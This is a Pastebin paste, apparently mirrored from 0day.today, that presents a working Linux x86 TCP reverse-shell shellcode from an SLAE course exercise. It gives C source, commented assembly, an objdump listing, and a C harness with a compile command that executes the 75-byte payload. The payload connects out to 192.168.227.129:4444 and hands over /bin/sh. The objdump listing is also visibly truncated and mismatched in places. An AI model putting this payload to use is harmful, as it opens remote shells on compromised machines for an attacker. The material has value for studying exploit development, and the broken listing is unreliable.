Advertisement
Lulz-Tigre

linux x86 shell code exploit

Jul 13th, 2016
290
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 5.13 KB | None | 0 0
  1. /*
  2. # Linux x86 TCP Reverse Shellcode (75 bytes)
  3. # Author: sajith
  4. # Tested on: i686 GNU/Linux
  5. # Shellcode Length: 75
  6. # SLAE - 750
  7.  
  8. ------------c prog ---poc by sajith shetty----------
  9.  
  10. #include <sys/types.h>
  11. #include <sys/socket.h>
  12. #include <sys/socket.h>
  13. #include <netinet/in.h>
  14.  
  15. int main(void)
  16.  
  17. {
  18.  
  19. int sock_file_des;
  20. struct sockaddr_in sock_ad;
  21. //[1] create socket connection
  22. //Man page: socket(int domain, int type, int protocol);
  23. sock_file_des = socket(AF_INET, SOCK_STREAM, 0);
  24.  
  25.  
  26. //[2]connect back to attacker machine (ip= 192.168.227.129)
  27. //Man page: int connect(int sockfd, const struct sockaddr *addr,socklen_t addrlen);
  28.  
  29. sock_ad.sin_family = AF_INET;
  30. sock_ad.sin_port = htons(4444);
  31. sock_ad.sin_addr.s_addr = inet_addr("192.168.227.129");
  32. connect(sock_file_des,(struct sockaddr *) &sock_ad,sizeof(sock_ad));
  33. //[3]Redirect file descriptors (STDIN, STDOUT and STDERR) to the socket using DUP2
  34. //Man page: int dup2(int oldfd, int newfd);
  35.  
  36. dup2(sock_file_des, 0); // stdin
  37. dup2(sock_file_des, 1); // stdout
  38. dup2(sock_file_des, 2); // stderr
  39.  
  40. //[4]Execute shell (here we use /bin/sh) using execve call
  41.  
  42. //[*]Man page for execve call
  43. //int execve(const char *filename, char *const argv[],char *const envp[]);
  44.  
  45. execve("/bin/sh", 0, 0);
  46. }
  47. ----------------------end of c program--------------
  48.  
  49. global _start          
  50.  
  51. section .text
  52.  
  53. _start:
  54.     ;[1] create socket connection
  55. ;Man page: socket(int domain, int type, int protocol);
  56. ;sock_file_des = socket(2,1,0)
  57.      
  58.     xor edx, edx
  59.     push 0x66           ; socket call(0x66)
  60.     pop eax
  61.     push edx            ; protocol = 0
  62.     inc edx
  63.     push edx            ; sock_stream = 1
  64.     mov ebx, edx        ; EBX =1
  65.     inc edx
  66.     push edx            ; AF_INET =2
  67.     mov ecx, esp        ; save the pointer to args in ecx register
  68.     int 0x80            ; call socketcall()
  69.  
  70.     ; int dup2(int oldfd, int newfd);
  71.     mov ebx, eax       ; store sock_file_des in ebx register    
  72.     mov ecx, edx        ; counter = 2  
  73.     loop:
  74.         mov al, 0x3f    
  75.         int 0x80
  76.         dec ecx
  77.         jns loop
  78. ; sock_ad.sin_family = AF_INET;
  79. ;sock_ad.sin_port = htons(4444);
  80. ;sock_ad.sin_addr.s_addr = inet_addr("192.168.227.129");
  81. ;connect(sock_file_des,(struct sockaddr *) &sock_ad,sizeof(sock_ad));
  82. xchg ebx, edx       ; before xchg edx=2 and ebx=sock_file_des and after xchg ebx=2, edx=sock_file_des
  83.     push 0x81e3a8c0     ; sock_ad.sin_addr.s_addr = inet_addr("192.168.227.129");
  84.     push word 0x5C11    ; sock_ad.sin_port = htons(4444);
  85.     push word bx        ; sock_ad.sin_family = AF_INET =2;
  86.     mov ecx, esp        ; pointer to struct
  87.      
  88.     mov al, 0x66        ; socket call (0x66)
  89.     inc ebx             ; connect (3)
  90.     push 0x10           ; sizeof(struct sockaddr_in)
  91.     push ecx            ; &serv_addr
  92.     push edx            ; sock_file_des
  93.     mov ecx, esp        ; save the pointer to args in ecx register
  94.     int 0x80            
  95.  
  96.     mov   al, 11            ; execve system call
  97.     cdq ; overwriting edx with either 0 (if eax is positive)
  98.     push  edx               ; push null
  99.     push  0x68732f6e        ; hs/b
  100.     push  0x69622f2f        ; ib//
  101.     mov   ebx,esp           ; save pointer
  102.     push  edx               ; push null
  103.     push  ebx               ; push pointer
  104.     mov   ecx,esp           ; save pointer
  105.     int   0x80
  106.  
  107. -------------obj dump------------
  108. rev_shell1:     file format elf32-i386
  109.  
  110.  
  111. Disassembly of section .text:
  112.  
  113. 08048060 <_start>:
  114.  8048060: 31 d2                 xor    edx,edx
  115.  8048062: 6a 66                 push   0x66
  116.  8048064: 58                   pop    eax
  117.  8048065: 52                   push   edx
  118.  8048066: 42                   inc    edx
  119.  8048067: 52                   push   edx
  120.  8048068: 89 d3                 mov    ebx,edx
  121.  804806a: 42                   inc    edx
  122.  804806b: 52                   push   edx
  123.  804806c: 89 e1                 mov    ecx,esp
  124.  804806e: cd 80                 int    0x80
  125.  8048070: 89 c3                 mov al,0xb
  126.  8048097: 99                   cdq    
  127.  8048098: 52                   push   edx
  128.  8048099: 68 6e 2f 73 68       push   0x68732f6e
  129.  804809e: 68 2f 2f 62 69       push   0x69622f2f
  130.  80480a3: 89 e3                 mov    ebx,esp
  131.  80480a5: 52                   push   edx
  132.  80480a6: 53                   push   ebx
  133.  80480a7: 89 e1                 mov    ecx,esp
  134.  80480a9: cd 80                 int    0x80
  135.  
  136. -----------------------------------------------
  137. gcc -fno-stack-protector -z execstack shellcode.c -o shellcode
  138. */
  139.  
  140. #include<stdio.h>
  141. #include<string.h>
  142.  
  143. unsigned char code[] = \
  144.  
  145. "\x31\xd2\x6a\x66\x58\x52\x42\x52\x89\xd3\x42\x52\x89\xe1\xcd\x80\x89\xc3\x89\xd1\xb0\x3f\xcd\x80\x49\x79\xf9\x87\xda\x68"
  146. "\xc0\xa8\xe3\x81" //IP address 192.168.227.129
  147. "\x66\x68"
  148. "\x11\x5c" // port 4444
  149. "\x66\x53\x89\xe1\xb0\x66\x43\x6a\x10\x51\x52\x89\xe1\xcd\x80\xb0\x0b\x99\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\xcd\x80";
  150.  
  151.  
  152. main()
  153. {
  154.   printf("Shellcode Length:  %d\n", strlen(code));
  155. int (*ret)() = (int(*)())code;
  156. ret();
  157. }
  158.  
  159. #  0day.today [2016-07-13]  #
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement